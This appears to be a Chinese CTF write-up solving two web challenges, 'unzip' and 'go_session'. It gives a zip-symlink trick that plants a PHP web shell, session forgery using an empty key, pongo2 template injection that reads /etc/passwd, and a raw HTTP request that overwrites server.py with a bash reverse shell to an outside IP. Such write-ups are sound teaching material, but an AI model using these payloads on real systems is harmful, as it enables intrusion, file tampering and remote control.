Web
unzip
文件上传页面
upload.php页面源码显示了出来
<?php
error_reporting(0);
highlight_file(__FILE__);$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};//only this!
可以看到,upload.php判断我们上传的文件必须是zip文件,然后会对其进行解压
此题我们可以通过软链接的方式做题
但不能文件链接文件,因为它是在tmp目录下解压文件的。我们需要对目录进行软链接
首先
ln -s /var/www/html shell
此时当前目录下就会生成一个shell目录,指向/var/www/html目录
下面我们进行打压缩包
zip -y 321.zip shell
然后上传上去,上传上去之后,就会立马解压缩了,那么现在shell目录已经链接到/var/www/html,当shell目录里出现了文件的变动,都会相对应在/var/www/html发生操作接下来,我们创建一个shell文件夹,里面写一个shell.php
└─# mkdir shell
└─# cd shell
└─# cat shell.php
<?php system($_GET[0]);phpinfo();?>然后对shell.php进行正常压缩,注意压缩包的文件名为shell.zip,要与上面链接的目录名一样
└─# zip shell.zip shell/*
最后上传,访问shell页面
go_session
题目提供了附件
go_session_4c91af79780fc70a4d21b272ba3a371c.zip
下面我们分析源代码
main.go
给了两个路由admin和flask
package mainimport ("github.com/gin-gonic/gin""main/route"
)func main() {r := gin.Default()r.GET("/", route.Index)r.GET("/admin", route.Admin)r.GET("/flask", route.Flask)r.Run("0.0.0.0:80")
}
route.go
package routeimport ("github.com/flosch/pongo2/v6""github.com/gin-gonic/gin""github.com/gorilla/sessions""html""io""net/http""os"
)
//从环境变量中获取session_key,然后赋值给store
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))func Index(c *gin.Context) {//获取请求中的session-namesession, err := store.Get(c.Request, "session-name")//如果没有获取到session-name,err不为nil,就会返回一个错误的http状态码if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//如果session里面的name值为nil,进入下面的代码块if session.Values["name"] == nil {//设置name为guestsession.Values["name"] = "guest"//将name为guest的session保存到我们的请求头err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, guest")
}func Admin(c *gin.Context) {//获取session,判断session是否为空session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//判断session中的name,不等于admin就返回N0if session.Values["name"] != "admin" {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}//获取一个为name的查询参数,参数值不存在就使用ssti,这里主要是获取用户输入的数据name := c.DefaultQuery("name", "ssti")//对用户输入的内容进行html转义,防止xssxssWaf := html.EscapeString(name)//使用pongo2模板引擎创建一个包含用户输入内容的字符串模板tpl, err := pongo2.FromString("Hello " + xssWaf + "!")if err != nil {panic(err)}//执行上面定义好的模板,将模板中的变量c替换为用户输入的内容out, err := tpl.Execute(pongo2.Context{"c": c})if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//返回一个包含用户输入内容的html字符串c.String(200, out)
}func Flask(c *gin.Context) {//获取session,判断session是否为空session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//判断session中的name是否为nilif session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}//向本地的5000端口发送一个HTTP请求加上用户输入的名字,如果没有输入就默认为guestresp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))if err != nil {return}//确保上面的函数执行完了,再关闭http请求defer resp.Body.Close()//读取http响应的内容,存储再boby变量中body, _ := io.ReadAll(resp.Body)//向用户返回一个包含本地服务响应内容的字符串c.String(200, string(body))
}
这题的话,好像是远程的环境变量里session_key根本就没有,为空的,所以我们只需要在本地运行这个环境,将guest改成admin,我们就可以得到admin的session了
session.Values["name"] = "admin"
得到session以后,访问admin
接下来传入参数name,这里存在pongo2
模板注入漏洞
网上有关它的模板注入漏洞很少,直接翻官方文档
https://pkg.go.dev/github.com/flosch/pongo2
从中我发现了pongo2和Django的语法很类似
{{ pongo2.version }}
通过询问ai,得到如下结果
package mainimport ("fmt""github.com/flosch/pongo2""io/ioutil"
)func main() {// 读取/etc/passwd文件内容content, err := ioutil.ReadFile("/etc/passwd")if err != nil {panic(err)}// 创建一个Pongo2模板tpl := pongo2.Must(pongo2.FromString("{% include 'passwd' %}"))// 注册一个名为'passwd'的模板pongo2.RegisterTemplate("passwd", string(content))// 执行模板并获取输出out, err := tpl.Execute(nil)if err != nil {panic(err)}fmt.Println(out)
}
其中关键的代码就是
{% include 'passwd' %}
改成{% include '/etc/passwd' %}
我们在本地测试一下,先把html.EscapeString
转义注释掉
成功可以文件包含了,但是还有去绕过html.EscapeString
,这种html的转义基本上是无法绕过,只能通过别的方式传参进来
我们翻一翻go gin官方文档
https://pkg.go.dev/github.com/gin-gonic/gin@v1.9.0
为什么跑去翻这个了,注意看代码
下面是示例,是我本地的,有些地方可能被修改了,不用在意
官方文档如下:
但是这几个函数似乎都不行,都是必须要带有参数,直接问ai吧,go语言学的不深,男泵
给了我一丢丢启发,可以使用c.Request.UserAgent()
可以了,直接拿到远程来操作
成功读取,然后读取环境变量,得到flag
这里是非预期了,其实本地还有一个python环境,读取/app/server.py
这个python flask框架没啥洞,但是它debug是开着的,热部署,那我们就可以直接篡改server.py
接下来我们只要通过pongo2的模板注入,去篡改其文件内容就行了
第一步,写一个上传表单
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>文件上传表单</title>
</head>
<body><h1>文件上传表单</h1><form action="https://e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show/admin" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" id="file" name="file"><br><br><button type="submit">上传文件</button></form>
</body>
</html>
第二步,上传抓包该格式
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}} HTTP/1.1
Host: e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show
User-Agent: file
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208503974923088219412672941459
Content-Length: 509
Origin: http://192.168.123.129
Referer: /app/server.py
Cookie: session-name=MTcxNTE1NDI4OHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwbjRagxTzeo4IEdTsWK0nJVqLDhQuJrWVe8t0OrOXgcA==
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close-----------------------------208503974923088219412672941459
Content-Disposition: form-data; name="file"; filename="123.py"
Content-Type: text/plainfrom flask import Flask, request
import subprocess
app = Flask(__name__)@app.route('/')
def index():return subprocess.call("bash -c 'bash -i >& /dev/tcp/60.204.170.160/8989 0>&1'", shell=True)if __name__ == "__main__":app.run(host="127.0.0.1", port=5000, debug=True)
-----------------------------208503974923088219412672941459--
注意几个点
然后我们再去查看server.py内容
完美篡改,我们去访问flask路由
func Flask(c *gin.Context) {//获取session,判断session是否为空session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//判断session中的name是否为nilif session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}//向本地的5000端口发送一个HTTP请求加上用户输入的名字,如果没有输入就默认为guestresp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))if err != nil {return}//确保上面的函数执行完了,再关闭http请求defer resp.Body.Close()//读取http响应的内容,存储再boby变量中body, _ := io.ReadAll(resp.Body)//向用户返回一个包含本地服务响应内容的字符串c.String(200, string(body))
}
注意:为什么name要传/,这是因为如果默认为guest,最后的拼接结果就是 http://127.0.0.1:5000/guest python没有guest这个路由,肯定就报错了